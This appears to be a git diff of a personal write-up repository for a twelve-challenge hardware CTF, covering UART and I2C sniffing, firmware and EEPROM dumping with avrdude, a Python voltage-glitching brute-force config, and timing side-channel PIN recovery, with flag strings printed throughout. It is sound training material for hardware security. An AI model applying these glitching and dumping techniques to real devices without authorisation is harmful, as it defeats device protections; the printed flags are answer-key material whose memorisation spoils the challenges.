+### name, enabled, string to match ###
+conditions = [
+ ['run', True, 'Password:', 'try_glitch'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+###### Custom functions ######
+def try_glitch():
+ Len = functions.get_config_value("length")
+ Rep = functions.get_config_value("repeat")
+ Del = functions.get_config_value("delay")
+ time.sleep(0.2)
+
+ tx_thread = threading.Thread(
+ target=functions.send_uart_message,
+ args=("aaaaaaaaaaaaaaaaaaaaa",),
+ daemon=True
+ )
+
+ glitch_thread = threading.Thread(
+ target=functions.start_glitch,
+ args=(Len, Rep, Del),
+ daemon=True
+ )
+
+ glitch_thread.start()
+ tx_thread.start()
+
+ try:
+ current_delay = int(Del)
+ except (ValueError, TypeError):
+ current_delay = 0
+
+ try:
+ current_repeat = int(Rep)
+ except (ValueError, TypeError):
+ current_repeat = 0
+
+ new_delay = current_delay + 1
+
+ if new_delay >= 51:
+ new_delay = 0
+ new_repeat = current_repeat + 1
+ if new_repeat >= 20:
+ new_repeat = 1
+ functions.set_config_value("repeat", new_repeat)
+
+ functions.set_config_value("delay", new_delay)
+
+
+def stop_glitch():
+ buf = functions.read_uart_buffer()
+
+ if "TS{D@mn_y0u_@r3_g006}" in buf:
+ functions.start_glitch(16, 1, 0)
+ else:
+ functions.set_condition_value(0, False)
+ functions.set_uart_switch(False)
+
+
+###### Inactivity watchdog ######
+def config_inactivity_monitor(timeout=5):
+ """
+ Monitor 'delay' and 'repeat' configuration values.
+ Restart device if they do not change for 'timeout' seconds
+ AND condition 0 remains True.
+ """
+ # Wait for functions.config to be initialised
+ while True:
+ try:
+ _ = functions.get_config_value("delay")
+ break
+ except AttributeError:
+ print("[Watchdog] Waiting for configuration to initialise...")
+ time.sleep(1)
+
+ last_delay = functions.get_config_value("delay")
+ last_repeat = functions.get_config_value("repeat")
+ last_change_time = time.time()
+
+ while True:
+ try:
+ current_delay = functions.get_config_value("delay")
+ current_repeat = functions.get_config_value("repeat")
+ condition_active = functions.get_condition_value(0)
+
+ if str(current_delay) != str(last_delay) or str(current_repeat) != str(last_repeat):
+ last_change_time = time.time()
+ last_delay = current_delay
+ last_repeat = current_repeat
+
+ if condition_active and (time.time() - last_change_time > timeout):
+ print("[Watchdog] Inactivity detected. Restarting glitch...")
+ functions.start_glitch(16, 1, 0)
+ last_change_time = time.time()
+
+ except Exception as e:
+ print(f"[Watchdog Error] {e}")
+
+ time.sleep(1)
+
+
+# Start watchdog thread after slight delay to allow initialisation
+def start_watchdog():
+ time.sleep(2) # ensures 'functions.config' is ready
+ monitor_thread = threading.Thread(target=config_inactivity_monitor, daemon=True)
+ monitor_thread.start()
+
+
+threading.Thread(target=start_watchdog, daemon=True).start()
diff --git a/docs/11_glitch_wrong_flag.png b/docs/11_glitch_wrong_flag.png
new file mode 100644
index 0000000..8d57b59
--- /dev/null
+++ b/docs/11_glitch_wrong_flag.png
Binary files differ
diff --git a/docs/11_logic.png b/docs/11_logic.png
new file mode 100644
index 0000000..c7de52c
--- /dev/null
+++ b/docs/11_logic.png
Binary files differ
diff --git a/docs/11_setup.png b/docs/11_setup.png
new file mode 100644
index 0000000..e5a7396
--- /dev/null
+++ b/docs/11_setup.png
Binary files differ
diff --git a/docs/12_discovery.png b/docs/12_discovery.png
new file mode 100644
index 0000000..06b2737
--- /dev/null
+++ b/docs/12_discovery.png
Binary files differ
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
